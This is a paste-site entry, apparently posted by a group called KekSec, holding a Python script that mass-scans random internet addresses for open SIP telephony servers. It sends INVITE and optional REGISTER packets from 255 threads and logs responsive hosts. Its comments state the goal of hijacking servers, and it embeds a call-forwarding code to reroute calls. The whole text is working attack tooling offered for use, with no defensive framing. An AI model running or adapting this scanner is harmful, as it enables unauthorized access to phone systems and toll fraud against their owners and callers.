KekSec icon

SIP Telephone Service ScAnNeR

KekSec | PRO | 05/31/19 11:51:24 PM UTC | 0 ⭐ | 1675 👁️ | Never ⏰ | []
Python |

3.1 KB

|

None

|

0 👍

/

0 👎

import socket
import random
import select
import threading
import time
 
#IP data
servip="9.39.195.80" #reuse ipaddr for target sip server in order to hijack
myip="70.67.16.106"
port=5060
 
#INVITE data
name="James"
nameto="Herbert"
phoneno="*61*16043308323#" #hijack via call forwarding USSD code
 
#REGISTER data
enableregister=0 #enable registering but most sefvers nolonger support it
username="SELFCHECK" #default username
realm="asterisk" # default www authentication realm
 
#SIP data
sipdata="v=0\no="+nameto+" PHONENO PHONENO IN IP4 MYIP\ns=-\nc=IN IP4 MYIP\nt=0 0\nm=audio 49172 RTP/AVP 0\na=rtpmap:0 PCMU/8000\nport="+str(port)
 
#timeout and rate limiting options
timeout=0.3 #370 ms timeout
ratelimit=0
 
def findReplace(data, ip):
    return data.replace("SIPDATA", sipdata).replace("PHONENO", phoneno).replace("MYIP", myip).replace("SERVIP", servip).replace("IPADDR", ip).replace("PHONENO", phoneno).replace("CONTLEN", str(len(sipdata))).replace("PORT", str(port)).replace("NAME", name).replace("NAMTO", nameto).replace("USER", username).replace("REALM" ,realm)
sipdata=findReplace(sipdata, servip)
#open sip data file for reading
f=open("/sdcard/SIPSCAN1.txt", "r")
fdata1=f.read()
f.close()
f=open("/sdcard/SIPSCAN2.txt", "r")
fdata2=f.read()
f.close()
 
s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(("", port))
 
def recvDatShiz(s):
    try:
        s.setblocking(0)
        ready = select.select([s], [], [], timeout)
        if ready[0]:
            data, addr = s.recvfrom(4096)
            return data, addr
    except:
        pass
    return b'', '0.0.0.0'
def dataCheck(data, ip):
    if data!=b'':
        if b"100 " in data or b"200 " in data or b"180 " in data: # check for auth or ringing
            print(data)
            print(ip)
            f=open("/sdcard/sip.txt", "a")
            f.write(ip+"\n")
            f.close()
    return data
def scanThread(fdata1, fdata2):
    while 1:
        ip=str(random.randrange(1,223))+"."+str(random.randrange(0,255))+"."+str(random.randrange(0,255))+"."+str(random.randrange(0,255))
        if ip.startswith("0") or ip.startswith("127") or ip.startswith("192") or ip.startswith("172") or ip.startswith("10."):
            continue
        try:
            if enableregister:
                s.sendto(findReplace(fdata1, ip).encode(), (ip, port))
                data, addr = recvDatShiz(s)
                if b"Unauthorized" in data or b"Illegal" in data or b"404" in data or "480" in data or data==b'':
                    continue
                dataCheck(data, ip)
            s.sendto(findReplace(fdata2, ip).encode(), (ip, port))
            data, addr = recvDatShiz(s)
            #if data!=b"":
            #    print(data)
            if b"Unauthorized" in data or b"Illegal" in data or b"404" in data or b"480" in data or data==b'':
                continue
            dataCheck(data, ip)
        except Exception as e:
            #print(str(e))
            continue
        time.sleep(ratelimit)
for i in range(0, 255):
    threading.Thread(target=scanThread, args=(fdata1,fdata2,)).start()

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎